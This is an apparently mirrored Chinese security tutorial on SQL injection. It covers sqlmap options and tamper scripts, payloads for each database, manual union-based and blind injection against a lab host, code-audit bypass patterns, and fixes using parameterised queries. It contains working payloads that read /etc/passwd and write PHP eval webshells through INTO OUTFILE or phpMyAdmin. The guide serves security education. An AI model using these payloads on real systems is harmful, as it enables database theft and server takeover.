SQL隱碼攻擊關聯分析

wyzsk發表於2020-08-19
作者: sm0nk · 2016/06/24 10:48

Author:[email protected]

0x00 序


開啟亞馬遜,當挑選一本《Android4高階程式設計》時,它會不失時機的列出你可能還會感興趣的書籍,比如Android遊戲開發、Cocos2d-x引擎等,讓你的購物車又豐富了些,而錢包又空了些。關聯分析,即從一個資料集中發現項之間的隱藏關係。

在Web攻防中,SQL隱碼攻擊絕對是一個技能的頻繁項,為了技術的成熟化、自動化、智慧化,我們有必要建立SQL隱碼攻擊與之相關典型技術之間的關聯規則。在分析過程中,整個規則均圍繞核心詞進行直線展開,我們簡單稱之為“線性”關聯。以知識點的複雜性我們雖然稱不上為神經網路,但它依然像滾雪球般對知識架構進行完善升級,所以也可稱之為雪球技術。

本文以SQL隱碼攻擊為核心,進行的資料資訊整合性解讀,主要目的有:

  1. 為關聯分析這門科學提供簡單認知
  2. 為初級安全愛好學習者提供參考,大牛繞過
  3. 分析各關鍵點的區別與聯絡
  4. 安全掃盲

本文結構如下:

p1

PS:文章中使用了N多表格形式,主要是為了更好的區別與聯絡,便於關聯分析及對比。

0x01 基本科普


1.1 概念說明

說明:透過在使用者可控引數中注入SQL語法,破壞原有SQL結構,達到編寫程式時意料之外結果的攻擊行為。http://wiki.wooyun.org/web:sql

影響:資料庫增刪改查、後臺登入、getshell

修復:

  1. 使用引數檢查的方式,攔截帶有SQL語法的引數傳入應用程式
  2. 使用預編譯的處理方式處理拼接了使用者引數的SQL語句
  3. 在引數即將進入資料庫執行之前,對SQL語句的語義進行完整性檢查,確認語義沒有發生變化
  4. 在出現SQL隱碼攻擊漏洞時,要在出現問題的引數拼接進SQL語句前進行過濾或者校驗,不要依賴程式最開始處防護程式碼
  5. 定期審計資料庫執行日誌,檢視是否存在應用程式正常邏輯之外的SQL語句執行

1.2 注入分類

  1. 按照資料包方式分類
    1. Get post cookie auth
  2. 按照呈現形式
    1. 回顯型注入
      1. Int string search
    2. 盲注
      1. Error bool time
    3. 另類注入
      1. 寬位元組注入
      2. http header 注入
      3. 偽靜態
      4. Base64變形

0x02 神器解讀


2.1 何為神器

使用方法,參見烏雲知識庫。

  1. sqlmap使用者手冊
  2. sqlmap使用者手冊[續]
  3. sqlmap進階使用

Tamper 概覽

指令碼名稱 作用
apostrophemask.py 用utf8代替引號
equaltolike.py like 代替等號
space2dash.py 繞過過濾‘=’ 替換空格字元(”),('' – ')後跟一個破折號註釋,一個隨機字串和一個新行(’ n’)
greatest.py 繞過過濾’>’ ,用GREATEST替換大於號。
space2hash.py 空格替換為#號 隨機字串 以及換行符
apostrophenullencode.py 繞過過濾雙引號,替換字元和雙引號。
halfversionedmorekeywords.py 當資料庫為mysql時繞過防火牆,每個關鍵字之前新增mysql版本評論
space2morehash.py 空格替換為 #號 以及更多隨機字串 換行符
appendnullbyte.py 在有效負荷結束位置載入零位元組字元編碼
ifnull2ifisnull.py 繞過對 IFNULL 過濾。 替換類似’IFNULL(A, B)’為’IF(ISNULL(A), B, A)’
space2mssqlblank.py 空格替換為其它空符號
base64encode.py 用base64編碼替換
space2mssqlhash.py 替換空格
modsecurityversioned.py 過濾空格,包含完整的查詢版本註釋
space2mysqlblank.py 空格替換其它空白符號(mysql)
between.py 用between替換大於號(>)
space2mysqldash.py 替換空格字元(”)(’ – ‘)後跟一個破折號註釋一個新行(’ n’)
multiplespaces.py 圍繞SQL關鍵字新增多個空格
space2plus.py 用+替換空格
bluecoat.py 代替空格字元後與一個有效的隨機空白字元的SQL語句。 然後替換=為like
nonrecursivereplacement.py 取代predefined SQL關鍵字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters
space2randomblank.py 代替空格字元(“”)從一個隨機的空白字元可選字元的有效集
sp_password.py 追加sp_password’從DBMS日誌的自動模糊處理的有效載荷的末尾
chardoubleencode.py 雙url編碼(不處理以編碼的)
unionalltounion.py 替換UNION ALL SELECT UNION SELECT
charencode.py url編碼
randomcase.py 隨機大小寫
unmagicquotes.py 寬字元繞過 GPC addslashes
randomcomments.py 用/**/分割sql關鍵字
charunicodeencode.py 字串 unicode 編碼
securesphere.py 追加特製的字串
versionedmorekeywords.py 註釋繞過
space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’

一些妙用:

  1. 避免過多的錯誤請求被遮蔽 引數:--safe-url,--safe-freq
  2. 二階SQL隱碼攻擊 引數:--second-order
  3. 從資料庫伺服器中讀取檔案 引數:--file-read
  4. 把檔案上傳到資料庫伺服器中 引數:--file-write,--file-dest
  5. 爬行網站URL 引數:--crawl
  6. 非互動模式 引數:--batch
  7. 測試WAF/IPS/IDS保護 引數:--identify-waf
  8. 啟發式判斷注入 引數:--smart(有時對目標非常多的URL進行測試,為節省時間,只對能夠快速判斷為注入的報錯點進行注入,可以使用此引數。)
  9. -technique
    • B:基於Boolean的盲注(Boolean based blind)
    • Q:內聯查詢(Inline queries)
    • T:基於時間的盲注(time based blind)
    • U:基於聯合查詢(Union query based)
    • E:基於錯誤(error based)
    • S:棧查詢(stack queries)

2.2 原始碼精讀

流程圖

p2

目前還未看完,先摘抄一部分(基於時間的盲注)講解:

測試應用是否存在SQL隱碼攻擊漏洞時,經常發現某一潛在的漏洞難以確認。這可能源於多種原因,但主要是因為Web應用未顯示任何錯誤,因而無法檢索任何資料。

對於這種情況,要想識別漏洞,向資料庫注入時間延遲並檢查伺服器響應是否也已經延遲會很有幫助。時間延遲是一種很強大的技術,Web伺服器雖然可以隱藏錯誤或資料,但必須等待資料庫返回結果,因此可用它來確認是否存在SQL隱碼攻擊。該技術尤其適合盲注。

使用了基於時間的盲注來對目標網址進行盲注測試,程式碼如下:

#!python
# In case of time-based blind or stacked queries
# SQL injections
elif method == PAYLOAD.METHOD.TIME:
    # Perform the test's request
    trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
    if trueResult:
        # Confirm test's results
        trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
        if trueResult:
            infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
            logger.info(infoMsg)
            injectable = True

重點注意Request.queryPage函式,將引數timeBasedCompare設定為True,所以在Request.queryPage函式內部,有這麼一段程式碼:

#!python
if timeBasedCompare:
    return wasLastRequestDelayed()

而函式wasLastRequestDelayed()的功能主要是判斷最後一次的請求是否有明顯的延時,方法就是將最後一次請求的響應時間與之前所有請求的響應時間的平均值進行比較,如果最後一次請求的響應時間明顯大於之前幾次請求的響應時間的平均值,就說明有延遲。

wasLastRequestDelayed函式的程式碼如下:

#!python
def wasLastRequestDelayed():
    """
    Returns True if the last web request resulted in a time-delay
    """
    deviation = stdev(kb.responseTimes)
    threadData = getCurrentThreadData()
    if deviation:
        if len(kb.responseTimes) < MIN_TIME_RESPONSES:
            warnMsg = "time-based standard deviation method used on a model "
            warnMsg += "with less than %d response times" % MIN_TIME_RESPONSES
            logger.warn(warnMsg)
        lowerStdLimit = average(kb.responseTimes) + TIME_STDEV_COEFF * deviation
        retVal = (threadData.lastQueryDuration >= lowerStdLimit)
        if not kb.testMode and retVal and conf.timeSec == TIME_DEFAULT_DELAY:
            adjustTimeDelay(threadData.lastQueryDuration, lowerStdLimit)
        return retVal
    else:
        return (threadData.lastQueryDuration - conf.timeSec) >= 0

每次執行http請求的時候,會將執行所響應的時間append到kb.responseTimes列表中,但不包括time-based blind所發起的請求。

從以下程式碼就可以知道了,當timeBasedCompare為True(即進行time-based blind注入檢測)時,直接返回執行結果,如果是其他型別的請求,就儲存響應時間。

#!python
if timeBasedCompare:
    return wasLastRequestDelayed()
elif noteResponseTime:
    kb.responseTimes.append(threadData.lastQueryDuration)

另外,為了確保基於時間的盲注的準確性,sqlmap執行了兩次queryPage。

如果2次的結果都為True,那麼就說明目標網址可注入,所以將injectable 設定為True。

0x03 資料庫特性


3.1 Web報錯關鍵字

  • Microsoft OLE DB Provider
  • ORA-
  • PLS-
  • Error in your SQL Syntax
  • SQL Error
  • Incorrect Syntax near
  • Failed Mysql
  • Unclosed Quotation Mark
  • JDBC/ODBC Driver

3.2 版本查詢

  • Mysql: /?param=1 select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
  • MSSQL: /?param=1 and(1)=convert(int,@@version)--
  • Sybase: /?param=1 and(1)=convert(int,@@version)--
  • Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v\_$version where rownum=1)||chr(62))) from dual)—
  • PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--

3.3 SQL方言差異

DB 連線符 行註釋 唯一的預設表變數和函式
MSSQL %2B(URL+號編碼)(e.g. ?category=sho’%2b’es) -- @@PACK_RECEIVED
MYSQL %20 (URL空格編碼) # CONNECTION_ID()
Oracle || -- BITAND(1,1)
PGsql || -- getpgusername()
Access “a” & “b” N/A msysobjects

3.4 SQL常用語句

SQL常用語句

內容 MSSQL MYSQL ORACLE
檢視版本 select @@version select @@version select version() Select banner from v$version;
當前使用者 select system_users; select suer_sname(); select user; select loginname from master..sysprocesses WHERE spid =@@SPID; select user(); select system_user(); Select user from dual
列出使用者 select name from master..syslogins; select user from mysql.user; Select username from all_users ORDER BY username; Select username from all_users;
當前庫 select DB_NAME(); select database(); Select global_name from global_name;
列出資料庫 select name from master..sysdatabases; select schema_name from information_schema.schemata; Select ower,table_name from all_users; #列出表明
當前使用者許可權 select is_srvolemenber(‘sysadmin’); select grantee, privilege_type,is_grantable from information schema.user privileges; Select * from user role_privs; Select * from user_sys_privs;
伺服器主機名 select @@servername; / Select sys_context(‘USERENV’,’HOST’) from dual;

p3

3.5 盲注函式

資料 MSSQL Mysql oracle
字串長度 LEN() LENGTH() LENGTH()
從給定字串中提取子串 SUBSTRING(string,offset,length) SELECT SUBSTR(string,offset,length) SELECT SUBSTR(string,offset,length) From dual
字串(‘ABC’)不帶單引號的表示方式 SELECT CHAR(0X41)+CHAR(0X42)+ CHAR(0X43) Select char(65,66,67) Select chr(65)||chr(66)+chr(67) from dual
觸發延時 WAITFOR DELAY ‘0:0:9’ BENCHMARK(1000000,MD5(“HACK”)) Sleep(10) BEGIN DBMS_LOCK.SLEEP(5);END; --(僅PL/SQL隱碼攻擊) UTL_INADDR.get_host_name() UTL_INADDR.get_host_address() UTL_HTTP.REQUEST()
IF語句 If (1=1) select ‘A’ else select ‘B’ SELECT if(1=1,’A’,’B’) /

PS:SQLMAP 針對Oracle注入時,使用了比較費解的SUBSTRC,好多時候得中轉更改為SUBSTR.

0x04 手工注入


4.1 應用場景

  1. 快速驗證(概念性證明)
  2. 工具跑不出來了
    1. 的確是注入,但不出資料
    2. 特徵不規律,挖掘規律,定製指令碼
  3. 繞過過濾
    1. 有WAF,手工注入
    2. 有過濾,搞繞過
  4. 盲注類

4.2 常用語句

p4

資料庫 語句(大多需要配合編碼)
Oracle oder by N
# 爆出第一個資料庫名
and 1=2 union select 1,2,(select banner from sys.v_ where rownum=1),4,5,6 from dual
# 依次爆出所有資料庫名,假設第一個庫名為first_dbname
and 1=2 union select 1,2,(select owner from all_tables where rownum=1 and owner<>'first_dbname'),4,5,6 from dual
爆出表名
and 1=2 union select 1,2,(select table_name from user_tables where rownum=1),4,5,6 from dual
同理,同爆出下一個資料庫類似爆出下一個表名就不說了,但是必須注意表名用大寫或者表名大寫的十六進位制程式碼。
有時候我們只想要某個資料庫中含密碼欄位的表名,採用模糊查詢語句,如下:
and (select column_name from user_tab_columns where column_name like '%25pass%25')<0
爆出表tablename中的第一個欄位名
and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and rownum=1),4,5,6 from dual
依次下一個欄位名
and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and column_name<>'first_col_name' and rownum=1),4,5,6 from dual

若為基於時間或者基於bool型別盲注,可結合substr 、ASCII進行賦值盲測。
若遮蔽關鍵函式,可嘗試SYS_CONTEXT('USERENV','CURRENT_USER')類用法。
Mysql #正常語句
192.168.192.128/sqltest/news.php?id=1
#判斷存在注入否
192.168.192.128/sqltest/news.php?id=1 and 1=2
#確定欄位數 order by
192.168.192.128/sqltest/news.php?id=-1 order by 3
#測試回顯欄位
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,3
#測試欄位內容
192.168.192.128/sqltest/news.php?id=-1 union select 1,user(),3
192.168.192.128/sqltest/news.php?id=-1 union select 1,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),3
#查詢當前庫下所有表
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
#查詢admin表下的欄位名(16進位制)
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e
#查詢admin表下的使用者名稱密碼
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(name,0x5e,pass) from admin
#讀取系統檔案(/etc/passwd,需轉換為16進位制)
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,load_file(0x2f6574632f706173737764)
#檔案寫入
192.168.192.128/sqltest/news.php?id=-1 union select 1,2,0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php'--
PS:若許可權不足,換個目錄
MSSQL PS:回顯型請查閱參考資料的連結,這裡主要盲注的語法。
#爆資料庫版本(可先測長度)
aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))=67/**/--&t=0
ps:在範圍界定時,可利用二分查詢結合大於小於來利用;亦可直接賦值指令碼爆破,依次類推直至最後一字母。
#爆當前資料庫名字
aspx?c=c1'/**/and/**/ascii(substring(db_name(),1,1))>200/**/--&t=0
#爆表
aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1 name/**/from/**/dbname.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0),1,1))>0/**/--&t=0
#爆user表內欄位
aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/ 1/**/COLUMN_NAME from/**/dbname.information_schema.columns/**/where/** /TABLE_NAME='user'),1,1))>0/**/--&t=0
#爆資料
aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/fPwd/**/from/**/User),1,1))>0/**/--&t=0

PS:關於注入繞過(bypass),內容偏多、過細,本次暫不歸納。單獨一篇

0x05 漏洞挖掘


5.1 黑盒測試

套裝組合

  1. AWVS類 + sqlmap (手工)
  2. Burp + sqlmapAPI(手工)

p5

減少體力活的工程化

5.2 程式碼審計

白盒的方式有兩種流,一種是檢查所有輸入,另一種是根據危險函式反向

注入引發的特徵點及敏感函式

NO. 概要
1 $_SERVER未轉義
2 更新時未重構更新序列
3 使用了一個未定義的常量
4 PHP自編標籤與strip_tags順序邏輯繞過
5 可控變數進入雙引號
6 寬位元組轉編碼過程
7 mysql多表查詢繞過
8 別名as+反引號可閉合其後語句
9 mysql的型別強制轉換
10 過濾條件是否有if判斷進入
11 全域性過濾存在白名單
12 字串截斷函式獲取定長資料
13 括號包裹繞過
14 弱型別驗證機制
15 WAF或者過濾了and|or的情況可以使用&&與||進行盲注。
16 windows下php中訪問檔名使用”<” “>”將會被替換成”*” “?”
17 二次urldecode注入
18 邏輯引用二次注入

1.$_SERVER[‘PHP_SELF’]和$_SERVER[‘QUERY_STRING’],而$_SERVER並沒有轉義,造成了注入。

2.update更新時沒有重構更新序列,導致更新其他關鍵欄位(金錢、許可權)

p6

p7

p8

3.在 php中 如果使用了一個未定義的常量,PHP 假定想要的是該常量本身的名字,如同用字串呼叫它一樣(CONSTANT 對應 “CONSTANT”)。此時將發出一個 E_NOTICE 級的錯誤(參考http://php.net/manual/zh/language.constants.syntax.php

4.PHP中自編寫對標籤的過濾或關鍵字過濾,應放在strip_tags等去除函式之後,否則引起過濾繞過。

#!php
<?php 
function mystrip_tags($string)
{
    $string = remove_xss($string);
    $string = new_html_special_chars($string);
    $string = strip_tags($string);//remove_xss在strip_tags之前呼叫,所以很明顯可以利用strip_tags函式繞過,在關鍵字中插入html標記.
    return $string;
}
?>

p9

5.當可控變數進入雙引號中時可形成webshell因此程式碼執行使用,${file_put_contents($_GET[f],$_GET[p])}可以生成webshell。

p10

6.寬位元組轉編碼過程中出現寬位元組注入

PHP連線MySQL時設定set character_set_client=gbk ,MySQL伺服器對查詢語句進行GBK轉碼導致反斜槓\%df吃掉。

7.構造查詢語句時無法刪除目標表中不存在欄位時可使用mysql多表查詢繞過

#!sql
select uid,password from users,admins;
(uid存在於users、password存在於admins)

p11

8.mysql中(反引號)能作為註釋符,且會自動閉合末尾沒有閉合的反引號。無法使用註釋符的情況下使用別名as+反引號可閉合其後語句。

9.mysql的型別強制轉換可繞過PHP中empty()函式對0的false返回

提交/?test=0axxx  ->  empty($_GET['test'])  =>  返回真

但是mysql中提交其0axxx到數字型時強制轉換成數字0

p12

10.存在全域性過濾時觀察過濾條件是否有if判斷進入,cms可能存在自定義safekey不啟用全域性過濾。透過程式遺留或者原有介面輸出safekey導致繞過。

#!php
if($config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey'])
{
foreach($_POST as $id=>$v){
safesql($id,$v,"POST",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
$_POST[$id]=common_htmlspecialchars($v);
}
}

11.由於全域性過濾存在白名單限定功能,可使用無用引數帶入繞過。

$webscan_white_directory='admin|\/dede\/|\/install\/';

請求中包含了白名單引數所以放行。

http://www.target.com/index.php/dede/?m=foo&c=bar&id=1' and 1=2 union select xxx

12.字串截斷函式獲取定長資料,擷取\\\’前一位,閉合語句。

利用條件必須是存在兩個可控引數,前閉合,後注入。

13.過濾了空格,逗號的注入,可使用括號包裹繞過。具體如遇到select from(關鍵字空格判斷的正則,且剔除/**/等)可使用括號包裹查詢欄位繞過。

14.由於PHP弱型別驗證機制,導致==in_array()等可透過強制轉換繞過驗證。

p13

15.WAF或者過濾了and|or的情況可以使用&&與||進行盲注。

#!sql
http://demo.74cms.com/user/user_invited.php?id=1%20||%20strcmp(substr(user(),1,13),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116))&act=invited

16.windows下php中訪問檔名使用”<” “>”將會被替換成”*” “?”,分別代表N個任意字元與1個任意字元。

file_get_contents("/images/".$_GET['a'].".jpg");

可使用test.php?a=../a<%00訪問對應php檔案。

17.使用了urldecode 或者rawurldecode函式,則會導致二次解碼聲場單引號而發生注入。

#!php
<?php
$a=addslashes($_GET['p']);
$b=urldecode($a);
echo '$a=' .$a;
echo '<br />';
echo '$b=' .$b;
?>

p14

18.邏輯引用,導致二次注入

部分盲點

盲點如下:

  1. 注入點類似id=1這種整型的引數就會完全無視GPC的過濾;
  2. 注入點包含鍵值對的,那麼這裡只檢測了value,對key的過濾就沒有防護;
  3. 有時候全域性的過濾只過濾掉GET、POST和COOKIE,但是沒過濾SERVER。

附常見的SERVER變數(具體含義自行百度):

QUERY_STRING,X_FORWARDED_FOR,CLIENT_IP,HTTP_HOST,ACCEPT_LANGUAGE

PS:若對注入的程式碼審計有實際操類演練,參考[email protected]

0x06 安全加固


6.1 原始碼加固

1.預編譯處理

引數化查詢是指在設計與資料庫連結並訪問資料時,在需要填入數值或資料的地方,使用引數來給值。在SQL語句中,這些引數通常一佔位符來表示。

MSSQL(ASP.NET)

為了提高sql執行速度,請為SqlParameter引數加上SqlDbType和size屬性

#!php
SqlConnection conn = new SqlConnection("server=(local)\\SQL2005;user id=sa;pwd=12345;initial catalog=TestDb");
conn.Open();
SqlCommand cmd = new SqlCommand("SELECT TOP 1 * FROM [User] WHERE UserName = @UserName AND Password = @Password");
cmd.Connection = conn;
cmd.Parameters.AddWithValue("UserName", "user01");
cmd.Parameters.AddWithValue("Password", "123456");

reader = cmd.ExecuteReader();
reader.Read();
int userId = reader.GetInt32(0);

reader.Close();
conn.Close();

PHP

#!php
// 例項化資料抽象層物件
$db = new PDO('pgsql:host=127.0.0.1;port=5432;dbname=testdb');
// 對 SQL 語句執行 prepare,得到 PDOStatement 物件
$stmt = $db->prepare('SELECT * FROM "myTable" WHERE "id" = :id AND "is_valid" = :is_valid');
// 繫結引數
$stmt->bindValue(':id', $id);
$stmt->bindValue(':is_valid', true);
// 查詢
$stmt->execute();
// 獲取資料
foreach($stmt as $row) {
var_dump($row);
}

JAVA

#!java
java.sql.PreparedStatement prep = connection.prepareStatement(
"SELECT * FROM `users` WHERE USERNAME = ? AND PASSWORD = ?");
prep.setString(1, username);
prep.setString(2, password);
prep.executeQuery();

PS:儘管SQL語句大體相似,但是在不同資料庫的特點,可能引數化SQL語句不同,例如在Access中引數化SQL語句是在引數直接以“?”作為引數名,在SQL [email protected],在MySQL中是引數有“?”字首,在Oracle中引數以“:”為字首。

2.過濾函式的使用

  1. addslashes()
  2. mysql_escape_string()
  3. mysql_real_escape_string()
  4. intval()

3.框架及第三方過濾函式與類

  1. JAVA hibernate框架
  2. Others

6.2 產品加固

  • Web應用防火牆——WAF
  • Key:雲waf、安全狗、雲鎖、sqlchop

0x07 關聯應用


7.1 Getshell

  1. 注入,查資料,找管理員密碼,進後臺,找上傳,看返回,getshell
  2. PHP MYSQL 類,大許可權,知路徑,傳檔案,回shell(上傳&命令執行),OS-SHELL。
  3. MSSQL大許可權,知路徑,傳檔案,回shell。結合xp_cmdshell 執行系統命令。
  4. Phpmyadmin getshell (編碼)
    1. select '<?eval($_POST[cmd]);?>' into outfile 'd:/wwwroot/1.php';
  5. Union select getshell
    1. and 1=2 union select 0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/alidata/www/cms/ttbdxt/conf.php'--

7.2 關聯功能點

序號 功能點 引數
1 登入 Username password
2 Header Cookie Referer x-forward remote-ip
3 查詢展示 , 資料寫入(表單) , 資料更新 id u category price str value
4 資料搜素 Key
5 偽靜態 (同3),加*
6 Mysql不安全配置 , Set character_set_client=gbk %df%27
7 傳參(橫向資料流向、縱向入庫流向) Parameter (同3)
8 訂單類多級互動、重新編輯 , 配送地址、資料編輯 二次注入
9 APP仍呼叫WEB API 同3
10 編碼urldecode base64 Urldecode() rawurldecode()

0x08 參考資料


本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章